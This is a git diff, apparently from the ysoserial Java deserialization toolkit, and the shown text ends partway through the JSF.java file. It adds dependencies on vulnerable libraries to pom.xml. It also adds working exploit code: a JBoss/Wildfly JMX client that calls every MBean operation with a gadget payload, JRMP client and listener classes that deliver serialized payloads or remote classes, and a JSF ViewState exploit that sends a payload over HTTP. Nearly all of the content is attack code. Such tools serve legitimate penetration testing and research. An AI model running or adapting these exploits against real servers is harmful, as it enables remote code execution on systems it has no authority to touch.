diff --git a/pom.xml b/pom.xml
index abdac5f..6bea82d 100644
--- a/pom.xml
+++ b/pom.xml
@@ -28,7 +28,7 @@
maven-assembly-plugin
- ${project.artifactId}-${project.version}-all
+ ${project.artifactId}-${project.version}-all
false
@@ -51,6 +51,14 @@
+
+
+
+ jenkins
+ default
+ http://repo.jenkins-ci.org/public/
+
+
@@ -74,6 +82,13 @@
1.8.0
test
+
+ org.nanohttpd
+ nanohttpd
+ 2.2.0
+ test
+
+
@@ -93,6 +108,52 @@
javassist
3.19.0-GA
+
+ commons-codec
+ commons-codec
+ 1.9
+
+
+ remoting
+ org.jenkins-ci.main
+ 2.55
+
+
+ org.jboss.logging
+ jboss-logging
+ 3.3.0.Final
+
+
+ org.jboss.remoting
+ jboss-remoting
+ 4.0.19.Final
+
+
+ org.jboss
+ jboss-common-core
+ 2.5.0.Final
+
+
+ org.jboss.logging
+ jboss-logging-spi
+
+
+
+
+ org.jboss.xnio
+ xnio-nio
+ 3.3.4.Final
+
+
+ org.jboss.sasl
+ jboss-sasl
+ 1.0.5.Final
+
+
+ org.jboss.remotingjmx
+ remoting-jmx
+ 2.0.1.Final
+
@@ -102,15 +163,15 @@
3.1
- org.beanshell
- bsh
- 2.0b5
-
-
- commons-beanutils
- commons-beanutils
- 1.9.2
-
+ org.beanshell
+ bsh
+ 2.0b5
+
+
+ commons-beanutils
+ commons-beanutils
+ 1.9.2
+
org.apache.commons
commons-collections4
@@ -131,5 +192,110 @@
spring-beans
4.1.4.RELEASE
+
+ org.hibernate
+ hibernate-core
+ 4.3.11.Final
+
+
+ org.springframework
+ spring-aop
+ 4.1.4.RELEASE
+
+
+ net.sf.json-lib
+ json-lib
+ jdk15
+ 2.4
+
+
+ commons-fileupload
+ commons-fileupload
+ 1.3
+
+
+ com.mchange
+ c3p0
+ 0.9.5.2
+
+
+ javax.servlet
+ javax.servlet-api
+ 3.1.0
+
+
+ org.apache.myfaces.core
+ myfaces-impl
+ 2.2.9
+
+
+ xalan
+ xalan
+ 2.7.2
+
+
+ rome
+ rome
+ 1.0
+
+
+
+
+ hibernate5
+
+
+ hibernate5
+
+
+
+
+ org.hibernate
+ hibernate-core
+ 5.0.7.Final
+
+
+
+
+
+ apache-el
+
+ true
+
+ el
+ apache
+
+
+
+
+ org.mortbay.jasper
+ apache-el
+ 8.0.27
+
+
+
+
+
+ juel
+
+
+ el
+ juel
+
+
+
+
+ de.odysseus.juel
+ juel-impl
+ 2.2.7
+
+
+ de.odysseus.juel
+ juel-api
+ 2.2.7
+
+
+
+
+
diff --git a/src/main/java/ysoserial/GeneratePayload.java b/src/main/java/ysoserial/GeneratePayload.java
index e6e41df..092d7ea 100644
--- a/src/main/java/ysoserial/GeneratePayload.java
+++ b/src/main/java/ysoserial/GeneratePayload.java
@@ -30,6 +30,7 @@ public class GeneratePayload {
System.err.println("Invalid payload type '" + payloadType + "'");
printUsage();
System.exit(USAGE_CODE);
+ return; // make null analysis happy
}
try {
@@ -37,6 +38,7 @@ public class GeneratePayload {
final Object object = payload.getObject(command);
PrintStream out = System.out;
Serializer.serialize(object, out);
+ ObjectPayload.Utils.releasePayload(payload, object);
} catch (Throwable e) {
System.err.println("Error while generating or serializing payload");
e.printStackTrace();
diff --git a/src/main/java/ysoserial/exploit/JBoss.java b/src/main/java/ysoserial/exploit/JBoss.java
new file mode 100644
index 0000000..c3a7e61
--- /dev/null
+++ b/src/main/java/ysoserial/exploit/JBoss.java
@@ -0,0 +1,422 @@
+package ysoserial.exploit;
+
+
+import java.io.IOException;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.net.InetSocketAddress;
+import java.net.MalformedURLException;
+import java.net.SocketAddress;
+import java.net.URI;
+import java.security.KeyManagementException;
+import java.security.NoSuchAlgorithmException;
+import java.security.NoSuchProviderException;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Set;
+import java.util.concurrent.Executor;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.ThreadFactory;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Handler;
+import java.util.logging.Level;
+import java.util.logging.LogManager;
+import java.util.logging.LogRecord;
+import java.util.logging.Logger;
+
+import javax.management.InstanceNotFoundException;
+import javax.management.IntrospectionException;
+import javax.management.MBeanInfo;
+import javax.management.MBeanOperationInfo;
+import javax.management.MBeanServerConnection;
+import javax.management.ObjectInstance;
+import javax.management.ReflectionException;
+import javax.management.remote.JMXServiceURL;
+import javax.security.auth.callback.Callback;
+import javax.security.auth.callback.CallbackHandler;
+import javax.security.auth.callback.NameCallback;
+import javax.security.auth.callback.PasswordCallback;
+import javax.security.auth.callback.UnsupportedCallbackException;
+import javax.security.sasl.RealmCallback;
+
+import org.jboss.remoting3.Channel;
+import org.jboss.remoting3.Connection;
+import org.jboss.remoting3.Endpoint;
+import org.jboss.remoting3.OpenListener;
+import org.jboss.remoting3.Remoting;
+import org.jboss.remoting3.remote.HttpUpgradeConnectionProviderFactory;
+import org.jboss.remoting3.spi.ConnectionHandler;
+import org.jboss.remoting3.spi.ConnectionHandlerContext;
+import org.jboss.remoting3.spi.ConnectionHandlerFactory;
+import org.jboss.remoting3.spi.ConnectionProvider;
+import org.jboss.remoting3.spi.ConnectionProviderContext;
+import org.jboss.remoting3.spi.RegisteredService;
+import org.jboss.remotingjmx.VersionedConnection;
+import org.xnio.FutureResult;
+import org.xnio.IoFuture;
+import org.xnio.IoFuture.Status;
+import org.xnio.OptionMap;
+import org.xnio.Options;
+import org.xnio.Xnio;
+import org.xnio.XnioWorker;
+import org.xnio.ssl.JsseXnioSsl;
+import org.xnio.ssl.XnioSsl;
+
+import ysoserial.payloads.ObjectPayload.Utils;
+
+
+/**
+ *
+ * An exploitation client for JBoss AS/Wildfly JMX
+ *
+ * JBoss is using a custom tunneled protocol for JMX, this is a client for this protocol.
+ *
+ * This is not as readily exploitable as in other pieces of software:
+ * 1. they only allow authenticated access by default
+ * 2. they have a very strict module architecture:
+ * - all MBeans exported by default use classloaders that expose almost nothing useful
+ * - the module classloaders do not even expose the full boot classpath, so we cannot readily use stuff like
+ * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
+ *
+ * This client enumerates all application exported MBean method which are then called
+ * delivering the specified payload.
+ *
+ * I.e. you can succesfully exploit that
+ * - you have access to the interface
+ * (username/password can be specified via URL, note: despite not noticeable,
+ * local connections implicitely use authentication)
+ * - there is an application exported MBean
+ * - that application imports the classes required for the gadget chain
+ *
+ * @author mbechler
+ *
+ */
+@SuppressWarnings ( {
+ "rawtypes"
+} )
+public class JBoss {
+
+ public static void main ( String[] args ) {
+
+ if ( args.length < 3 ) {
+ System.err.println("Usage " + JBoss.class.getName() + " ");
+ System.exit(-1);
+ }
+
+ URI u = URI.create(args[ 0 ]);
+
+ final Object payloadObject = Utils.makePayloadObject(args[1], args[2]);
+
+ String username = null;
+ String password = null;
+ if ( u.getUserInfo() != null ) {
+ int sep = u.getUserInfo().indexOf(':');
+ if ( sep >= 0 ) {
+ username = u.getUserInfo().substring(0, sep);
+ password = u.getUserInfo().substring(sep + 1);
+ }
+ else {
+ System.err.println("Need :@");
+ System.exit(-1);
+ }
+ }
+
+ doRun(u, payloadObject, username, password);
+ Utils.releasePayload(args[1], payloadObject);
+ }
+
+
+ private static void doRun ( URI u, final Object payloadObject, String username, String password ) {
+ ConnectionProvider instance = null;
+ ConnectionProviderContextImpl context = null;
+ ConnectionHandler ch = null;
+ Channel c = null;
+ VersionedConnection vc = null;
+ try {
+ Logger logger = LogManager.getLogManager().getLogger("");
+ logger.addHandler(new ConsoleLogHandler());
+ logger.setLevel(Level.INFO);
+ OptionMap options = OptionMap.builder().set(Options.SSL_ENABLED, u.getScheme().equals("https")).getMap();
+ context = new ConnectionProviderContextImpl(options, "endpoint");
+ instance = new HttpUpgradeConnectionProviderFactory().createInstance(context, options);
+ String host = u.getHost();
+ int port = u.getPort() > 0 ? u.getPort() : 9990;
+ SocketAddress destination = new InetSocketAddress(host, port);
+ ConnectionHandlerFactory chf = getConnection(destination, username, password, context, instance, options);
+ ch = chf.createInstance(new ConnectionHandlerContextImpl(context));
+ c = getChannel(context, ch, options);
+ System.err.println("Connected");
+ vc = makeVersionedConnection(c);
+ MBeanServerConnection mbc = vc.getMBeanServerConnection(null);
+ doExploit(payloadObject, mbc);
+ System.err.println("DONE");
+ }
+ catch ( Throwable e ) {
+ e.printStackTrace(System.err);
+ }
+ finally {
+ cleanup(instance, context, ch, c, vc);
+ }
+ }
+
+
+
+ private static void cleanup ( ConnectionProvider instance, ConnectionProviderContextImpl context, ConnectionHandler ch, Channel c,
+ VersionedConnection vc ) {
+ if ( vc != null ) {
+ vc.close();
+ }
+
+ if ( c != null ) {
+ try {
+ c.close();
+ }
+ catch ( IOException e ) {
+ e.printStackTrace(System.err);
+ }
+ }
+
+ if ( ch != null ) {
+ try {
+ ch.close();
+ }
+ catch ( IOException e ) {
+ e.printStackTrace(System.err);
+ }
+ }
+ if ( instance != null ) {
+ try {
+ instance.close();
+ }
+ catch ( IOException e ) {
+ e.printStackTrace(System.err);
+ }
+ }
+
+ if ( context != null ) {
+ context.getXnioWorker().shutdown();
+ }
+ }
+
+
+ private static ConnectionHandlerFactory getConnection ( SocketAddress destination, final String username, final String password,
+ ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options )
+ throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException {
+ XnioSsl xnioSsl = new JsseXnioSsl(context.getXnio(), options);
+ FutureResult result = new FutureResult();
+ instance.connect(null, destination, options, result, new CallbackHandler() {
+
+ public void handle ( Callback[] callbacks ) throws IOException, UnsupportedCallbackException {
+
+ for ( Callback cb : callbacks ) {
+
+ if ( cb instanceof NameCallback ) {
+ ( (NameCallback) cb ).setName(username);
+ }
+ else if ( cb instanceof PasswordCallback ) {
+ ( (PasswordCallback) cb ).setPassword(password != null ? password.toCharArray() : new char[0]);
+ }
+ else if ( !( cb instanceof RealmCallback) ) {
+ System.err.println(cb);
+ throw new UnsupportedCallbackException(cb);
+ }
+ }
+ }
+ }, xnioSsl);
+
+ System.err.println("waiting for connection");
+ IoFuture ioFuture = result.getIoFuture();
+ Status s = ioFuture.await(5, TimeUnit.SECONDS);
+ if ( s == Status.FAILED ) {
+ System.err.println("Cannot connect");
+ if ( ioFuture.getException() != null ) {
+ ioFuture.getException().printStackTrace(System.err);
+ }
+ }
+ else if ( s != Status.DONE ) {
+ ioFuture.cancel();
+ System.err.println("Connect timeout");
+ System.exit(-1);
+ }
+
+ ConnectionHandlerFactory chf = ioFuture.getInterruptibly();
+ return chf;
+ }
+
+ private static Channel getChannel ( ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options ) throws IOException {
+ Channel c;
+ FutureResult chResult = new FutureResult(context.getExecutor());
+ ch.open("jmx", chResult, options);
+
+ IoFuture cFuture = chResult.getIoFuture();
+ Status s2 = cFuture.await();
+ if ( s2 == Status.FAILED ) {
+ System.err.println("Cannot connect");
+ if ( cFuture.getException() != null ) {
+ throw new IOException("Connect failed", cFuture.getException());
+ }
+ }
+ else if ( s2 != Status.DONE ) {
+ cFuture.cancel();
+ throw new IOException("Connect timeout");
+ }
+
+ c = cFuture.get();
+ return c;
+ }
+
+
+ private static VersionedConnection makeVersionedConnection ( Channel c )
+ throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, MalformedURLException {
+ VersionedConnection vc;
+ Class> vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory");
+ Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class);
+ vcCreate.setAccessible(true);
+ vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://"));
+ return vc;
+ }
+
+
+ private static void doExploit ( final Object payloadObject, MBeanServerConnection mbc )
+ throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException {
+ Object[] params = new Object[1];
+ params[ 0 ] = payloadObject;
+ System.err.println("Querying MBeans");
+ Set testMBeans = mbc.queryMBeans(null, null);
+ System.err.println("Found " + testMBeans.size() + " MBeans");
+ for ( ObjectInstance oi : testMBeans ) {
+ MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName());
+ for ( MBeanOperationInfo opInfo : mBeanInfo.getOperations() ) {
+ try {
+ mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[] {});
+ System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS");
+ return;
+ }
+ catch ( Throwable e ) {
+ String msg = e.getMessage();
+ if ( msg.startsWith("java.lang.ClassNotFoundException:") ) {
+ int start = msg.indexOf('"');
+ int stop = msg.indexOf('"', start + 1);
+ String module = ( start >= 0 && stop > 0 ) ? msg.substring(start + 1, stop) : "";
+ if ( !"".equals(module) && !"org.jboss.as.jmx:main".equals(module) ) {
+ int cstart = msg.indexOf(':');
+ int cend = msg.indexOf(' ', cstart + 2);
+ String cls = msg.substring(cstart + 2, cend);
+ System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")");
+ }
+ }
+ else {
+ System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg);
+ return;
+ }
+ }
+ }
+ }
+ }
+
+
+ private static final class ConsoleLogHandler extends Handler {
+
+
+ @Override
+ public void publish ( LogRecord record ) {
+ System.err.println(record.getMessage());
+ }
+
+
+ @Override
+ public void flush () {
+
+ }
+
+
+ @Override
+ public void close () throws SecurityException {}
+ }
+
+ private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext {
+
+ private ConnectionProviderContextImpl context;
+
+
+ public ConnectionHandlerContextImpl ( ConnectionProviderContextImpl context ) {
+ this.context = context;
+ }
+
+
+ public void remoteClosed () {}
+
+
+ public OpenListener getServiceOpenListener ( String serviceType ) {
+ return null;
+ }
+
+
+ public RegisteredService getRegisteredService ( String serviceType ) {
+ return null;
+ }
+
+
+ public ConnectionProviderContext getConnectionProviderContext () {
+ return this.context;
+ }
+
+
+ public Connection getConnection () {
+ return null;
+ }
+ }
+
+
+ private static final class ConnectionProviderContextImpl implements ConnectionProviderContext {
+
+ private XnioWorker worker;
+ private ExecutorService executor;
+ private Xnio instance;
+ private Endpoint endpoint;
+
+
+ public ConnectionProviderContextImpl ( OptionMap opts, String endpointName ) throws IllegalArgumentException, IOException {
+ this.instance = Xnio.getInstance();
+
+ this.worker = this.instance.createWorker(opts);
+ this.endpoint = Remoting.createEndpoint(endpointName, this.worker, opts);
+ this.executor = Executors.newCachedThreadPool(new ThreadFactory() {
+
+ public Thread newThread ( Runnable r ) {
+ Thread t = new Thread(r, "Worker");
+ t.setDaemon(true);
+ return t;
+ }
+ });
+ }
+
+
+ public XnioWorker getXnioWorker () {
+ return this.worker;
+ }
+
+
+ public Xnio getXnio () {
+ return this.instance;
+ }
+
+
+ public Executor getExecutor () {
+ return this.executor;
+ }
+
+
+ public Endpoint getEndpoint () {
+ return this.endpoint;
+ }
+
+
+ public void accept ( ConnectionHandlerFactory connectionHandlerFactory ) {
+ System.err.println("accept");
+ }
+
+ }
+
+}
diff --git a/src/main/java/ysoserial/exploit/JRMPClassLoadingListener.java b/src/main/java/ysoserial/exploit/JRMPClassLoadingListener.java
new file mode 100644
index 0000000..f6437ec
--- /dev/null
+++ b/src/main/java/ysoserial/exploit/JRMPClassLoadingListener.java
@@ -0,0 +1,50 @@
+package ysoserial.exploit;
+
+
+
+import java.net.URL;
+
+
+/**
+ * JRMP listener triggering RMI remote classloading
+ *
+ * Opens up an JRMP listener that will deliver a remote classpath class to the calling client.
+ *
+ * Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need
+ * access to an RMI socket when you can deliver {@link ysoserial.payloads.JRMPClient}.
+ *
+ * This only works if
+ * - the remote end is running with a security manager
+ * - java.rmi.server.useCodebaseOnly=false (default until 7u21)
+ * - the remote has the proper permissions to remotely load the class (mostly URLPermission)
+ *
+ * and, of course, the payload class is then run under the security manager with a remote codebase
+ * so either the policy needs to allow whatever you want to do in the payload or you need to combine
+ * with a security manager bypass exploit (wouldn't be the first time).
+ *
+ * @author mbechler
+ *
+ */
+public class JRMPClassLoadingListener {
+
+ public static final void main ( final String[] args ) {
+
+ if ( args.length < 3 ) {
+ System.err.println(JRMPClassLoadingListener.class.getName() + " ");
+ System.exit(-1);
+ return;
+ }
+
+ try {
+ int port = Integer.parseInt(args[ 0 ]);
+ System.err.println("* Opening JRMP listener on " + port);
+ JRMPListener c = new JRMPListener(port, args[2], new URL(args[1]));
+ c.run();
+ }
+ catch ( Exception e ) {
+ System.err.println("Listener error");
+ e.printStackTrace(System.err);
+ }
+ }
+
+}
diff --git a/src/main/java/ysoserial/exploit/JRMPClient.java b/src/main/java/ysoserial/exploit/JRMPClient.java
new file mode 100644
index 0000000..5206cd0
--- /dev/null
+++ b/src/main/java/ysoserial/exploit/JRMPClient.java
@@ -0,0 +1,141 @@
+package ysoserial.exploit;
+
+
+import java.io.DataOutputStream;
+import java.io.IOException;
+import java.io.ObjectOutputStream;
+import java.io.OutputStream;
+import java.net.InetSocketAddress;
+import java.net.Socket;
+import java.net.SocketException;
+import java.net.URL;
+import java.net.URLClassLoader;
+import java.net.UnknownHostException;
+
+import javax.net.SocketFactory;
+
+import sun.rmi.transport.TransportConstants;
+import ysoserial.payloads.ObjectPayload.Utils;
+
+
+/**
+ * Generic JRMP client
+ *
+ * Pretty much the same thing as {@link RMIRegistryExploit} but
+ * - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
+ * - not deserializing anything (so you don't get yourself exploited ;))
+ *
+ * @author mbechler
+ *
+ */
+@SuppressWarnings ( {
+ "restriction"
+} )
+public class JRMPClient {
+
+ public static final void main ( final String[] args ) {
+ if ( args.length < 4 ) {
+ System.err.println(JRMPClient.class.getName() + " ");
+ System.exit(-1);
+ }
+
+ Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
+ String hostname = args[ 0 ];
+ int port = Integer.parseInt(args[ 1 ]);
+ try {
+ System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port));
+ makeDGCCall(hostname, port, payloadObject);
+ }
+ catch ( Exception e ) {
+ e.printStackTrace(System.err);
+ }
+ Utils.releasePayload(args[2], payloadObject);
+ }
+
+ public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
+ InetSocketAddress isa = new InetSocketAddress(hostname, port);
+ Socket s = null;
+ DataOutputStream dos = null;
+ try {
+ s = SocketFactory.getDefault().createSocket(hostname, port);
+ s.setKeepAlive(true);
+ s.setTcpNoDelay(true);
+
+ OutputStream os = s.getOutputStream();
+ dos = new DataOutputStream(os);
+
+ dos.writeInt(TransportConstants.Magic);
+ dos.writeShort(TransportConstants.Version);
+ dos.writeByte(TransportConstants.SingleOpProtocol);
+
+ dos.write(TransportConstants.Call);
+
+ @SuppressWarnings ( "resource" )
+ final ObjectOutputStream objOut = new MarshalOutputStream(dos);
+
+ objOut.writeLong(2); // DGC
+ objOut.writeInt(0);
+ objOut.writeLong(0);
+ objOut.writeShort(0);
+
+ objOut.writeInt(1); // dirty
+ objOut.writeLong(-669196253586618813L);
+
+ objOut.writeObject(payloadObject);
+
+ os.flush();
+ }
+ finally {
+ if ( dos != null ) {
+ dos.close();
+ }
+ if ( s != null ) {
+ s.close();
+ }
+ }
+ }
+
+ static final class MarshalOutputStream extends ObjectOutputStream {
+
+
+ private URL sendUrl;
+
+ public MarshalOutputStream (OutputStream out, URL u) throws IOException {
+ super(out);
+ this.sendUrl = u;
+ }
+
+ MarshalOutputStream ( OutputStream out ) throws IOException {
+ super(out);
+ }
+
+ @Override
+ protected void annotateClass ( Class> cl ) throws IOException {
+ if ( this.sendUrl != null ) {
+ writeObject(this.sendUrl.toString());
+ } else if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) {
+ writeObject(null);
+ }
+ else {
+ URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs();
+ String cb = "";
+
+ for ( URL u : us ) {
+ cb += u.toString();
+ }
+ writeObject(cb);
+ }
+ }
+
+
+ /**
+ * Serializes a location from which to load the specified class.
+ */
+ @Override
+ protected void annotateProxyClass ( Class> cl ) throws IOException {
+ annotateClass(cl);
+ }
+ }
+
+
+}
diff --git a/src/main/java/ysoserial/exploit/JRMPListener.java b/src/main/java/ysoserial/exploit/JRMPListener.java
new file mode 100644
index 0000000..e5c034c
--- /dev/null
+++ b/src/main/java/ysoserial/exploit/JRMPListener.java
@@ -0,0 +1,300 @@
+package ysoserial.exploit;
+
+
+import java.io.BufferedInputStream;
+import java.io.BufferedOutputStream;
+import java.io.DataInputStream;
+import java.io.DataOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.ObjectStreamClass;
+import java.io.OutputStream;
+import java.io.Serializable;
+import java.net.InetSocketAddress;
+import java.net.ServerSocket;
+import java.net.Socket;
+import java.net.SocketException;
+import java.net.URL;
+import java.rmi.MarshalException;
+import java.rmi.server.ObjID;
+import java.rmi.server.UID;
+
+import javax.management.BadAttributeValueExpException;
+import javax.net.ServerSocketFactory;
+
+import javassist.ClassClassPath;
+import javassist.ClassPool;
+import javassist.CtClass;
+import sun.rmi.transport.TransportConstants;
+import ysoserial.payloads.ObjectPayload.Utils;
+import ysoserial.payloads.util.Reflections;
+
+
+/**
+ * Generic JRMP listener
+ *
+ * Opens up an JRMP listener that will deliver the specified payload to any
+ * client connecting to it and making a call.
+ *
+ * @author mbechler
+ *
+ */
+@SuppressWarnings ( {
+ "restriction"
+} )
+public class JRMPListener implements Runnable {
+
+ private int port;
+ private Object payloadObject;
+ private ServerSocket ss;
+ private Object waitLock = new Object();
+ private boolean exit;
+ private boolean hadConnection;
+ private URL classpathUrl;
+
+
+ public JRMPListener ( int port, Object payloadObject ) throws NumberFormatException, IOException {
+ this.port = port;
+ this.payloadObject = payloadObject;
+ this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
+ }
+
+ public JRMPListener (int port, String className, URL classpathUrl) throws IOException {
+ this.port = port;
+ this.payloadObject = makeDummyObject(className);
+ this.classpathUrl = classpathUrl;
+ this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
+ }
+
+
+ public boolean waitFor ( int i ) {
+ try {
+ if ( this.hadConnection ) {
+ return true;
+ }
+ System.err.println("Waiting for connection");
+ synchronized ( this.waitLock ) {
+ this.waitLock.wait(i);
+ }
+ return this.hadConnection;
+ }
+ catch ( InterruptedException e ) {
+ return false;
+ }
+ }
+
+
+ /**
+ *
+ */
+ public void close () {
+ this.exit = true;
+ try {
+ this.ss.close();
+ }
+ catch ( IOException e ) {}
+ synchronized ( this.waitLock ) {
+ this.waitLock.notify();
+ }
+ }
+
+
+ public static final void main ( final String[] args ) {
+
+ if ( args.length < 3 ) {
+ System.err.println(JRMPListener.class.getName() + " ");
+ System.exit(-1);
+ return;
+ }
+
+ final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);
+
+ try {
+ int port = Integer.parseInt(args[ 0 ]);
+ System.err.println("* Opening JRMP listener on " + port);
+ JRMPListener c = new JRMPListener(port, payloadObject);
+ c.run();
+ }
+ catch ( Exception e ) {
+ System.err.println("Listener error");
+ e.printStackTrace(System.err);
+ }
+ Utils.releasePayload(args[1], payloadObject);
+ }
+
+
+ public void run () {
+ try {
+ Socket s = null;
+ try {
+ while ( !this.exit && ( s = this.ss.accept() ) != null ) {
+ try {
+ s.setSoTimeout(5000);
+ InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
+ System.err.println("Have connection from " + remote);
+
+ InputStream is = s.getInputStream();
+ InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
+
+ // Read magic (or HTTP wrapper)
+ bufIn.mark(4);
+ DataInputStream in = new DataInputStream(bufIn);
+ int magic = in.readInt();
+
+ short version = in.readShort();
+ if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) {
+ s.close();
+ continue;
+ }
+
+ OutputStream sockOut = s.getOutputStream();
+ BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
+ DataOutputStream out = new DataOutputStream(bufOut);
+
+ byte protocol = in.readByte();
+ switch ( protocol ) {
+ case TransportConstants.StreamProtocol:
+ out.writeByte(TransportConstants.ProtocolAck);
+ if ( remote.getHostName() != null ) {
+ out.writeUTF(remote.getHostName());
+ } else {
+ out.writeUTF(remote.getAddress().toString());
+ }
+ out.writeInt(remote.getPort());
+ out.flush();
+ in.readUTF();
+ in.readInt();
+ case TransportConstants.SingleOpProtocol:
+ doMessage(s, in, out, this.payloadObject);
+ break;
+ default:
+ case TransportConstants.MultiplexProtocol:
+ System.err.println("Unsupported protocol");
+ s.close();
+ continue;
+ }
+
+ bufOut.flush();
+ out.flush();
+ }
+ catch ( InterruptedException e ) {
+ return;
+ }
+ catch ( Exception e ) {
+ e.printStackTrace(System.err);
+ }
+ finally {
+ System.err.println("Closing connection");
+ s.close();
+ }
+
+ }
+
+ }
+ finally {
+ if ( s != null ) {
+ s.close();
+ }
+ if ( this.ss != null ) {
+ this.ss.close();
+ }
+ }
+
+ }
+ catch ( SocketException e ) {
+ return;
+ }
+ catch ( Exception e ) {
+ e.printStackTrace(System.err);
+ }
+ }
+
+
+ private void doMessage ( Socket s, DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
+ System.err.println("Reading message...");
+
+ int op = in.read();
+
+ switch ( op ) {
+ case TransportConstants.Call:
+ // service incoming RMI call
+ doCall(in, out, payload);
+ break;
+
+ case TransportConstants.Ping:
+ // send ack for ping
+ out.writeByte(TransportConstants.PingAck);
+ break;
+
+ case TransportConstants.DGCAck:
+ UID u = UID.read(in);
+ break;
+
+ default:
+ throw new IOException("unknown transport op " + op);
+ }
+
+ s.close();
+ }
+
+
+ private void doCall ( DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
+ ObjectInputStream ois = new ObjectInputStream(in) {
+
+ @Override
+ protected Class> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException {
+ throw new IOException("Not allowed to read object");
+ }
+ };
+
+ try {
+ ObjID.read(ois);
+ }
+ catch ( java.io.IOException e ) {
+ throw new MarshalException("unable to read objID", e);
+ }
+
+ System.err.println("Sending return with payload");
+
+ out.writeByte(TransportConstants.Return);// transport op
+ ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
+
+ oos.writeByte(TransportConstants.ExceptionalReturn);
+ new UID().write(oos);
+
+ BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
+ Reflections.setFieldValue(ex, "val", payload);
+ oos.writeObject(ex);
+
+ oos.flush();
+ out.flush();
+
+ this.hadConnection = true;
+ synchronized ( this.waitLock ) {
+ this.waitLock.notifyAll();
+ }
+ }
+
+ protected static Object makeDummyObject (String className) {
+ try {
+ ClassLoader isolation = new ClassLoader() {};
+ ClassPool cp = new ClassPool();
+ cp.insertClassPath(new ClassClassPath(Dummy.class));
+ CtClass clazz = cp.get(Dummy.class.getName());
+ clazz.setName(className);
+ return clazz.toClass(isolation).newInstance();
+ }
+ catch ( Exception e ) {
+ e.printStackTrace();
+ return new byte[0];
+ }
+ }
+
+
+ public static class Dummy implements Serializable {
+ private static final long serialVersionUID = 1L;
+
+ }
+}
diff --git a/src/main/java/ysoserial/exploit/JSF.java b/src/main/java/ysoserial/exploit/JSF.java
new file mode 100644
index 0000000..480da95
--- /dev/null
+++ b/src/main/java/ysoserial/exploit/JSF.java
@@ -0,0 +1,80 @@
+package ysoserial.exploit;
+
+
+import java.io.ByteArrayOutputStream;
+import java.io.ObjectOutputStream;
+import java.io.OutputStream;
+import java.net.HttpURLConnection;
+import java.net.URL;
+import java.net.URLConnection;
+import java.net.URLEncoder;
+
+import org.apache.commons.codec.binary.Base64;
+
+import ysoserial.payloads.ObjectPayload.Utils;
+
+
+/**
+ * JSF view state exploit
+ *
+ * Delivers a gadget payload via JSF ViewState token.
+ *
+ * This will only work if ViewState encryption/mac is disabled.
+ *
+ * While it has been long known that client side state saving
+ * with encryption disabled leads to RCE via EL injection,
+ * this of course also works with deserialization gadgets.
+ *
+ * Also, it turns out that MyFaces is vulnerable to this even when
+ * using server-side state saving
+ * (yes, please, let's (de-)serialize a String as an Object).
+ *
+ * @author mbechler
+ *
+ */
+public class JSF {
+
+ public static void main ( String[] args ) {
+
+ if ( args.length < 3 ) {
+ System.err.println(JSF.class.getName() + " ");
+ System.exit(-1);
+ }
+
+ final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);
+
+ try {
+ URL u = new URL(args[ 0 ]);
+
+ URLConnection c = u.openConnection();
+ if ( ! ( c instanceof HttpURLConnection ) ) {
+ throw new IllegalArgumentException("Not a HTTP url");
+ }
+
+ HttpURLConnection hc = (HttpURLConnection) c;
+ hc.setDoOutput(true);
+ hc.setRequestMethod("POST");
+ hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
+ OutputStream os = hc.getOutputStream();
+
+ ByteArrayOutputStream bos = new ByteArrayOutputStream();
+ ObjectOutputStream oos = new ObjectOutputStream(bos);
+ oos.writeObject(payloadObject);
+ oos.close();
+ byte[] data = bos.toByteArray();
+ String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
+ os.write(requestBody.getBytes("US-ASCII"));
+ os.close();
+
+ System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage());
+ }
+ catch ( Exception e ) {
+ e.printStackTrace(System.err);
+ }
